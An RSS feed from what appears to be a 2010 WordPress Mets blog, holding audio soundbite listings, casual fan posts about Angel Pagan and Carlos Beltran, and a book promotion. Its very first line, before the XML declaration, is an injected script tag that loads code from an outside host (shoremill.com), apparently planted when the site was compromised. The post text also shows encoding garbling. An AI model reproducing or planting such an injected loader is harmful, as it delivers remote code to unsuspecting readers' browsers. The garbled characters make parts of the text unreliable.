<script src=http://shoremill.com/_private/blank.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pro Baseball Central &#124; Part of the Sportsday Radio Network &#187; Angel</title>
	<atom:link href="http://www.probaseballcentral.com/tag/angel/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.probaseballcentral.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Mon, 30 Aug 2010 01:15:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Audio: Castillo Comes Through</title>
		<link>http://www.probaseballcentral.com/2010/08/25/audio-castillo-comes-through/</link>
		<comments>http://www.probaseballcentral.com/2010/08/25/audio-castillo-comes-through/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 20:38:01 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Angel]]></category>
		<category><![CDATA[Carlos Beltran]]></category>
		<category><![CDATA[Contact Bob]]></category>
		<category><![CDATA[Luis Castillo]]></category>
		<category><![CDATA[Marlins]]></category>
		<category><![CDATA[Mets]]></category>
		<category><![CDATA[Ninth Inning]]></category>
		<category><![CDATA[Pagan]]></category>
		<category><![CDATA[Ra Dickey]]></category>
		<category><![CDATA[Soundbites]]></category>
		<category><![CDATA[Trainor]]></category>

		<guid isPermaLink="false">http://www.nysportsday.com/?p=6730</guid>
		<description><![CDATA[Bob Trainor of Trainor Communications offers these soundbites from  the Mets 6-5 win over the Marlins in the bottom of the ninth inning.
Luis Castillo
RA Dickey
Carlos Beltran
Angel Pagan
Edwin Rodriguez
Will Ohman
For More Info contact Bob at TrainorC...]]></description>
			<content:encoded><![CDATA[<p>Bob Trainor of Trainor Communications offers these soundbites from  the Mets 6-5 win over the Marlins in the bottom of the ninth inning.</p>
<p>Luis Castillo</p>
<p>RA Dickey</p>
<p>Carlos Beltran</p>
<p>Angel Pagan</p>
<p>Edwin Rodriguez</p>
<p>Will Ohman</p>
<p>For More Info contact Bob at <a href="mailto:trainorcomm@gmail.com">TrainorComm@gmail.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/25/audio-castillo-comes-through/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Audio: Johan Rebounds The Mets</title>
		<link>http://www.probaseballcentral.com/2010/08/13/audio-johan-rebounds-the-mets/</link>
		<comments>http://www.probaseballcentral.com/2010/08/13/audio-johan-rebounds-the-mets/#comments</comments>
		<pubDate>Sat, 14 Aug 2010 00:10:22 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Angel]]></category>
		<category><![CDATA[Carlos Beltran]]></category>
		<category><![CDATA[Contact Bob]]></category>
		<category><![CDATA[Johan Santana]]></category>
		<category><![CDATA[Mets]]></category>
		<category><![CDATA[Pagan]]></category>
		<category><![CDATA[Rockies]]></category>
		<category><![CDATA[Soundbites]]></category>
		<category><![CDATA[Trainor]]></category>

		<guid isPermaLink="false">http://www.nysportsday.com/?p=6665</guid>
		<description><![CDATA[Bob Trainor of Trainor Communications offers these soundbites from    the Mets 4-0 win by Johan Santana over the Rockies
Johan Santana
Angel Pagan
Carlos Beltran
Jim Tracy
For More Info contact Bob at TrainorComm@gmail.com.
]]></description>
			<content:encoded><![CDATA[<p>Bob Trainor of Trainor Communications offers these soundbites from    the Mets 4-0 win by Johan Santana over the Rockies</p>
<p>Johan Santana</p>
<p>Angel Pagan</p>
<p>Carlos Beltran</p>
<p>Jim Tracy</p>
<p>For More Info contact Bob at <a href="mailto:trainorcomm@gmail.com">TrainorComm@gmail.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/13/audio-johan-rebounds-the-mets/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AND THE SECOND HALF BEGINSâ€¦â€¦â€¦</title>
		<link>http://www.probaseballcentral.com/2010/07/15/and-the-second-half-begins%e2%80%a6%e2%80%a6%e2%80%a6/</link>
		<comments>http://www.probaseballcentral.com/2010/07/15/and-the-second-half-begins%e2%80%a6%e2%80%a6%e2%80%a6/#comments</comments>
		<pubDate>Thu, 15 Jul 2010 17:42:12 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Accent]]></category>
		<category><![CDATA[Act]]></category>
		<category><![CDATA[Angel]]></category>
		<category><![CDATA[Balls]]></category>
		<category><![CDATA[Big Ticket Items]]></category>
		<category><![CDATA[Brooklynese]]></category>
		<category><![CDATA[Computer Time]]></category>
		<category><![CDATA[Councilers]]></category>
		<category><![CDATA[Counselors]]></category>
		<category><![CDATA[Ears]]></category>
		<category><![CDATA[Giants]]></category>
		<category><![CDATA[Meatballs]]></category>
		<category><![CDATA[Military Life]]></category>
		<category><![CDATA[Pagan]]></category>
		<category><![CDATA[Portable Radio]]></category>
		<category><![CDATA[Second Half]]></category>
		<category><![CDATA[Smile]]></category>
		<category><![CDATA[Wilderness]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2795</guid>
		<description><![CDATA[One good thing out here in the wilderness is my little portable radio picks up WFAN so I&#8217;m looking forward to listening to Mets-Giants tonight. As I&#8217;ve said computer time is at a premium here so I had to send up up a plate of Ziti w/meatballs to office manager in order to get som [...]]]></description>
			<content:encoded><![CDATA[<p>One good thing out here in the wilderness is my little portable radio picks up WFAN so I&#8217;m looking forward to listening to Mets-Giants tonight.</p>
<p>As I&#8217;ve said computer time is at a premium here so I had to send up up a plate of Ziti w/meatballs to office manager in order to get som time toÂ crusie the internet. I&#8217;m telling this camp is combonation prison/military life.Â  I&#8217;m exhausted from shmoozing the counselors for ice and toliet paper too big ticket items around here.</p>
<p>The head of the camp is from South Philly and I&#8217;m enjoying breaking his balls most days. TheÂ councilers ears are hurting from the back and forth of one guy with a heavy South Philly accent and myself and my Brooklynese. We make this act on the road.</p>
<p>I can&#8217;t believe there is even a discussion about Angel Pagan playing everyday over Frenchy. Just shows what a nice smile can doÂ for some guys.</p>
<p>Gotta go myÂ cheesesatke eating buddy is back, time to annoy him</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/07/15/and-the-second-half-begins%e2%80%a6%e2%80%a6%e2%80%a6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Audio: Johan Does It Again</title>
		<link>http://www.probaseballcentral.com/2010/07/12/audio-johan-does-it-again/</link>
		<comments>http://www.probaseballcentral.com/2010/07/12/audio-johan-does-it-again/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 17:21:14 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Angel]]></category>
		<category><![CDATA[Atlanta Braves]]></category>
		<category><![CDATA[Audio Coverage]]></category>
		<category><![CDATA[Bobby Cox]]></category>
		<category><![CDATA[Contact Bob]]></category>
		<category><![CDATA[David Wright]]></category>
		<category><![CDATA[Derek Lowe]]></category>
		<category><![CDATA[Jeff Francoeur]]></category>
		<category><![CDATA[Johan Santana]]></category>
		<category><![CDATA[Jose Reyes]]></category>
		<category><![CDATA[Mets]]></category>
		<category><![CDATA[Pagan]]></category>
		<category><![CDATA[Soundbites]]></category>
		<category><![CDATA[Trainor]]></category>

		<guid isPermaLink="false">http://www.nysportsday.com/?p=6410</guid>
		<description><![CDATA[Bob Trainor of Trainor Communications offers these soundbites from yesterday&#8217;s 3-0 Met shutout of the Atlanta Braves Johan Santana gave another solid performance going seven and giving up no runs as the Mets closed out the first half on a positive note. We have full audio coverage below. Angel Pagan Jeff Francoeur David Wright Jose [...]]]></description>
			<content:encoded><![CDATA[<p>Bob Trainor of Trainor Communications offers these soundbites from             yesterday&#8217;s 3-0 Met shutout of the Atlanta Braves</p>
<p>Johan Santana gave another solid performance going seven and giving up no runs as the Mets closed out the first half on a positive note.</p>
<p>We have full audio coverage below.</p>
<p>Angel Pagan</p>
<p>Jeff Francoeur</p>
<p>David Wright</p>
<p>Jose Reyes</p>
<p>Derek Lowe</p>
<p>Bobby Cox</p>
<p>For More Info contact Bob at <a href="mailto:trainorcomm@gmail.com">TrainorComm@gmail.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/07/12/audio-johan-does-it-again/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DAY ONE AWAY FROM CONCRETE</title>
		<link>http://www.probaseballcentral.com/2010/07/12/day-one-away-from-concrete/</link>
		<comments>http://www.probaseballcentral.com/2010/07/12/day-one-away-from-concrete/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 14:45:04 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Angel]]></category>
		<category><![CDATA[Bench]]></category>
		<category><![CDATA[Berth]]></category>
		<category><![CDATA[Carlos Beltran]]></category>
		<category><![CDATA[Concrete]]></category>
		<category><![CDATA[Frency]]></category>
		<category><![CDATA[Internet Connection]]></category>
		<category><![CDATA[Johan Santana]]></category>
		<category><![CDATA[Jolt]]></category>
		<category><![CDATA[Mets]]></category>
		<category><![CDATA[Pagan]]></category>
		<category><![CDATA[Portable Radio]]></category>
		<category><![CDATA[Relics]]></category>
		<category><![CDATA[Sleep]]></category>
		<category><![CDATA[Vuvuzela]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2791</guid>
		<description><![CDATA[SO far so good up in the woods.Â  I took a portable radio with me and and being such a clear night I was able to listen toÂ WFAN before going to sleep. It&#8217;s good to see Johan Santana stepping up and IkeÂ  Davis as well (the 20/20 updork said the Ike HR went 440 ft. [...]]]></description>
			<content:encoded><![CDATA[<p>SO far so good up in the woods.Â  I took a portable radio with me and and being such a clear night I was able to listen toÂ WFAN before going to sleep. It&#8217;s good to see Johan Santana stepping up and IkeÂ  Davis as well (the 20/20 updork said the Ike HR went 440 ft. WOW!) and as bad as the last homestand was, the MEts are still in the thick of things as far asÂ far as gaining a post season berth.</p>
<p>WithÂ Carlos Beltran coming back Thursday and Frency moving to the bench as Angel Pagan (who by the way is just as charming as Francouer but he can hit too) the stagnant offense should get a good jolt of energy.</p>
<p>The internet connection up here blows. Plus the computers are relics so posting will sporatic most of the week.</p>
<p>There is a guy in the next campÂ over from us who thought is was a good idea to being a vuvuleza to the woods and blow into it during the night.Â  A few of the leaders from our camp paid him a vist this morning to let him know if he keeps up his vuvuzela playing he&#8217;ll have to pass gas to make it work and the horn will be shoved up his ass.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/07/12/day-one-away-from-concrete/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SUMMER FUN WITH THE METS</title>
		<link>http://www.probaseballcentral.com/2010/06/26/summer-fun-with-the-mets/</link>
		<comments>http://www.probaseballcentral.com/2010/06/26/summer-fun-with-the-mets/#comments</comments>
		<pubDate>Sat, 26 Jun 2010 13:26:52 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Angel]]></category>
		<category><![CDATA[Bat]]></category>
		<category><![CDATA[Carlos Beltran]]></category>
		<category><![CDATA[Faces]]></category>
		<category><![CDATA[Game Presser]]></category>
		<category><![CDATA[Haters]]></category>
		<category><![CDATA[Jose Reyes]]></category>
		<category><![CDATA[Laugh Factory]]></category>
		<category><![CDATA[Mets]]></category>
		<category><![CDATA[Pagan]]></category>
		<category><![CDATA[Pelf]]></category>
		<category><![CDATA[Pitch]]></category>
		<category><![CDATA[Pitches]]></category>
		<category><![CDATA[Playing Time]]></category>
		<category><![CDATA[Strikes]]></category>
		<category><![CDATA[Summer Fun]]></category>
		<category><![CDATA[Time Don]]></category>
		<category><![CDATA[Twins]]></category>
		<category><![CDATA[Twosome]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2733</guid>
		<description><![CDATA[Some observations from last night:
The first couple of innings were rough to watch as Big Pelf was throwing and throwing and the Twins were fouling off and fouling off pitch after pitch. Pelf said after the game that it was a tough game from him as he threw 77 of his 117 pitches for strikes [...]]]></description>
			<content:encoded><![CDATA[<p>Some observations from last night:</p>
<p>The first couple of innings were rough to watch as Big Pelf was throwing and throwing and the Twins were fouling off and fouling off pitch after pitch. Pelf said after the game that it was a tough game from him as he threw 77 of his 117 pitches for strikes but the twins must have fouled off 50 of them as he has done all season, the Season of Big Pelf.</p>
<p>Uhh anyone still want to deal off Daivd Wright and Jose Reyes? Â Anyone? Comâ€™on you haters show your faces.</p>
<p>Letâ€™s also end the hate for Carlos Beltran. If he is ready and can play center field then thatâ€™s where heâ€™ll play. It is much easier for Angel Pagan to shift over to right field and he and Frenchy can form a nice little twosome there, plus Beltran, when he does make it back, will need maybe two days off a week to help with that knee so donâ€™t worry all you Pagan fans, Angel will get playing time. Donâ€™t over think this folks just enjoy the fresh bat in the lineup.</p>
<p>I canâ€™t figure out Jerry Manuel. When the Mets lose his post game presser is like a night at the Laugh Factory, when they win itâ€™s like heâ€™s planning a wake. Strange.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/06/26/summer-fun-with-the-mets/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Audio: Mets Explode on Tigers</title>
		<link>http://www.probaseballcentral.com/2010/06/23/audio-mets-explode-on-tigers/</link>
		<comments>http://www.probaseballcentral.com/2010/06/23/audio-mets-explode-on-tigers/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 16:19:29 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Angel]]></category>
		<category><![CDATA[Audio Coverage]]></category>
		<category><![CDATA[Contact Bob]]></category>
		<category><![CDATA[Detroit Tigers]]></category>
		<category><![CDATA[Jim Leyland]]></category>
		<category><![CDATA[Jon Niese]]></category>
		<category><![CDATA[Justin Verlander]]></category>
		<category><![CDATA[Laugher]]></category>
		<category><![CDATA[Mets]]></category>
		<category><![CDATA[Minute Rain Delay]]></category>
		<category><![CDATA[Pagan]]></category>
		<category><![CDATA[Soundbites]]></category>
		<category><![CDATA[Trainor]]></category>

		<guid isPermaLink="false">http://www.nysportsday.com/?p=6241</guid>
		<description><![CDATA[Bob Trainor of Trainor Communications offers these soundbites from yesterday&#8217;s Met 14-6 win over the Detroit Tigers Angel Pagan had four hits, while Ike Davis chipped in with three as the Mets exploded after a 58 minute rain delay for an 8-run inning in route to a laugher. We have full audio coverage below. Ike [...]]]></description>
			<content:encoded><![CDATA[<p>Bob Trainor of Trainor Communications offers these soundbites from        yesterday&#8217;s Met 14-6 win over the Detroit Tigers</p>
<p>Angel Pagan had four hits, while Ike Davis chipped in with three as the Mets exploded after a 58 minute rain delay for an 8-run inning in route to a laugher.</p>
<p>We have full audio coverage below.</p>
<p>Ike Davis</p>
<p>Jon Niese</p>
<p>Jim Leyland</p>
<p>Justin Verlander</p>
<p>For More Info contact Bob at <a href="mailto:trainorcomm@gmail.com">TrainorComm@gmail.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/06/23/audio-mets-explode-on-tigers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Audio: Francoeur Fries Fish</title>
		<link>http://www.probaseballcentral.com/2010/06/07/audio-francoeur-fries-fish/</link>
		<comments>http://www.probaseballcentral.com/2010/06/07/audio-francoeur-fries-fish/#comments</comments>
		<pubDate>Mon, 07 Jun 2010 16:33:00 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Angel]]></category>
		<category><![CDATA[Audio Coverage]]></category>
		<category><![CDATA[Cody Ross]]></category>
		<category><![CDATA[Contact Bob]]></category>
		<category><![CDATA[Double Play]]></category>
		<category><![CDATA[Fish]]></category>
		<category><![CDATA[Fries]]></category>
		<category><![CDATA[Game]]></category>
		<category><![CDATA[Jason Bay]]></category>
		<category><![CDATA[Jeff Francoeur]]></category>
		<category><![CDATA[Marlins]]></category>
		<category><![CDATA[Mets]]></category>
		<category><![CDATA[Pagan]]></category>
		<category><![CDATA[Soundbites]]></category>
		<category><![CDATA[Trainor]]></category>

		<guid isPermaLink="false">http://www.nysportsday.com/?p=6174</guid>
		<description><![CDATA[Bob Trainor of Trainor Communications offers these soundbites from   yesterday&#8217;s the Mets 7-6 Come From Behind win over the Marlins.
Jeff Francoeur hit a three run home run in the seventh to complete the comeback after the Mets were down 5-0 in the game. Angel Pagan, who drove in two runs earlier, scored the [...]]]></description>
			<content:encoded><![CDATA[<p>Bob Trainor of Trainor Communications offers these soundbites from   yesterday&#8217;s the Mets 7-6 Come From Behind win over the Marlins.</p>
<p>Jeff Francoeur hit a three run home run in the seventh to complete the comeback after the Mets were down 5-0 in the game. Angel Pagan, who drove in two runs earlier, scored the winning run after Ike Davis grounded into a double play. Frankie Rodriguez closed it in the ninth for the Mets 30th win on the season and the team&#8217;s eighth straight win at Citi Field.</p>
<p>We have full audio coverage below.</p>
<p>Angel Pagan</p>
<p>Jeff Francoeur</p>
<p>Jason Bay</p>
<p>Cody Ross</p>
<p>Freddie Gonzalez</p>
<p>For More Info contact Bob at <a href="mailto:trainorcomm@gmail.com">TrainorComm@gmail.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/06/07/audio-francoeur-fries-fish/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BREAKING NEWS: CARLOS BELTRAN HAS ARTHROSCOPIC KNEE SURGERY</title>
		<link>http://www.probaseballcentral.com/2010/01/13/breaking-news-carlos-beltran-has-arthroscopic-knee-surgery/</link>
		<comments>http://www.probaseballcentral.com/2010/01/13/breaking-news-carlos-beltran-has-arthroscopic-knee-surgery/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 03:18:30 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Angel]]></category>
		<category><![CDATA[Breaking News]]></category>
		<category><![CDATA[Carlos Beltran]]></category>
		<category><![CDATA[Centerfielder]]></category>
		<category><![CDATA[Doctor Dr]]></category>
		<category><![CDATA[Dr Richard]]></category>
		<category><![CDATA[Faith]]></category>
		<category><![CDATA[Hell]]></category>
		<category><![CDATA[Knee Osteoarthritis]]></category>
		<category><![CDATA[Knee Surgery]]></category>
		<category><![CDATA[Medical Staff]]></category>
		<category><![CDATA[Mets Players]]></category>
		<category><![CDATA[Organization]]></category>
		<category><![CDATA[Osteoarthritis]]></category>
		<category><![CDATA[Pagan]]></category>
		<category><![CDATA[Regard]]></category>
		<category><![CDATA[Shape]]></category>
		<category><![CDATA[Spring Training]]></category>
		<category><![CDATA[Stedman]]></category>
		<category><![CDATA[World News]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2179</guid>
		<description><![CDATA[
All hell is breaking with the Mets as we have learned that Carlos Beltran has undergone arthroscopic surgery on his right knee to relieve osteoarthritis. From reports it looks like Beltran has been working out to be in shape for spring training and started to feel pain in his knee.
The biggest story is not just [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://blog.nj.com/mets/2009/06/large_beltranslide.jpg" alt="" width="272" height="191" /></p>
<p>All hell is breaking with the Mets as we have learned <a href="http://www.metsblog.com/">that Carlos Beltran has undergone arthroscopic surgery on his right knee</a> to relieve osteoarthritis. From reports it looks like Beltran has been working out to be in shape for spring training and started to feel pain in his knee.</p>
<p>The biggest story is not just the surgery but it seems Beltran did this on his own going to his own doctor, Dr Richard Stedman in Colorado. Itâ€™s unacceptable for a player to not let the team know heâ€™s going for surgery and to make it worse, he doesnâ€™t use the teamâ€™s physician. This just cements the feeling that the Mets players have no faith in the Mets medical staff.</p>
<p>Now this is not end of the world news as Beltran will be out about 3 months so for the first month of the season Angel Pagan can handle centerfield, so there is no need for the organization to make a panic move for a centerfielder.</p>
<p>What this does though is make you question how the organization looks at Beltran in regard to not coming to the team about his knee and using an outside doctor to perform the surgery and how does this effect Beltran to getting an extension of his contract, something he has been hinting at.</p>
<p>Since this news is still breaking, Iâ€™ll have some more on it tomorrow</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/01/13/breaking-news-carlos-beltran-has-arthroscopic-knee-surgery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>THE 2010 BILL JAMES HANDBOOK IS NOW AVAILABLE</title>
		<link>http://www.probaseballcentral.com/2009/11/05/the-2010-bill-james-handbook-is-now-available/</link>
		<comments>http://www.probaseballcentral.com/2009/11/05/the-2010-bill-james-handbook-is-now-available/#comments</comments>
		<pubDate>Thu, 05 Nov 2009 20:38:20 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Acta Sports]]></category>
		<category><![CDATA[Amazin]]></category>
		<category><![CDATA[Angel]]></category>
		<category><![CDATA[Baseball]]></category>
		<category><![CDATA[Book Store]]></category>
		<category><![CDATA[Cf]]></category>
		<category><![CDATA[Digits]]></category>
		<category><![CDATA[Gm]]></category>
		<category><![CDATA[Hot Stove]]></category>
		<category><![CDATA[Instinct]]></category>
		<category><![CDATA[Leader Boards]]></category>
		<category><![CDATA[Leadoff Hitters]]></category>
		<category><![CDATA[Lf]]></category>
		<category><![CDATA[Mets Roster]]></category>
		<category><![CDATA[Moot Point]]></category>
		<category><![CDATA[Ops]]></category>
		<category><![CDATA[Pagan]]></category>
		<category><![CDATA[Semblance]]></category>
		<category><![CDATA[Sports Book]]></category>
		<category><![CDATA[Sports Store]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2227</guid>
		<description><![CDATA[Â 

Â 
Now that we amateur GMâ€™s are ready to get down to business fortifying the Mets roster for 2010, the one item that is marked ESSENTIAL is The Bill James Handbook for 2010 (published by ACTA Sports). The Handbook is loaded with stats and leader boards that you would hope the front office is studying like [...]]]></description>
			<content:encoded><![CDATA[<p>Â </p>
<p><img class="alignleft" src="http://www.actapublications.com/images/large/BJH10.jpg" alt="" width="200" height="257" /></p>
<p>Â </p>
<p>Now that we amateur GMâ€™s are ready to get down to business fortifying the Mets roster for 2010, the one item that is marked <strong>ESSENTIAL</strong> is <a href="http://www.actasports.com/detail.html?session=f9bc4f0f0c5c3b61caf92dcb9adfaab8&amp;id=9780879464073">The Bill James Handbook for 2010 </a>(published by <a href="http://www.actasports.com">ACTA Sports</a>). The Handbook is loaded with stats and leader boards that you would hope the front office is studying like it was the college boards.</p>
<p>Â </p>
<p>As bad as the Mets season has been there were a few (surprise) Amazinâ€™s who were ranked in the top 10 in some important categories for the 2009 season like Angel Pagan:</p>
<p>Â </p>
<p>Â </p>
<p>Angel Pagan-4<sup>th</sup> in the NL for most Triples (11)</p>
<p>Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  9<sup>th</sup> in NL Leadoff Hitters OBP (.358)</p>
<p>Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  4<sup>th</sup> in NL OPS by CFâ€™er</p>
<p>Â </p>
<p>If Pagan had some semblance of baseball instinct and the ability to stay healthy the search for the everyday LFâ€™er would be a moot point.</p>
<p>Â </p>
<p>Digits like this and much more are in the Handbook. You can <a href="http://www.actasports.com/detail.html?session=f9bc4f0f0c5c3b61caf92dcb9adfaab8&amp;id=9780879464073">get your copy by going to Acta Sports </a>or at the book store or online vendor of your choice. When youâ€™re curled up by the hot stove this winter, your 2010 Bill James Handbook will leave you with that toasty feeling.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2009/11/05/the-2010-bill-james-handbook-is-now-available/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
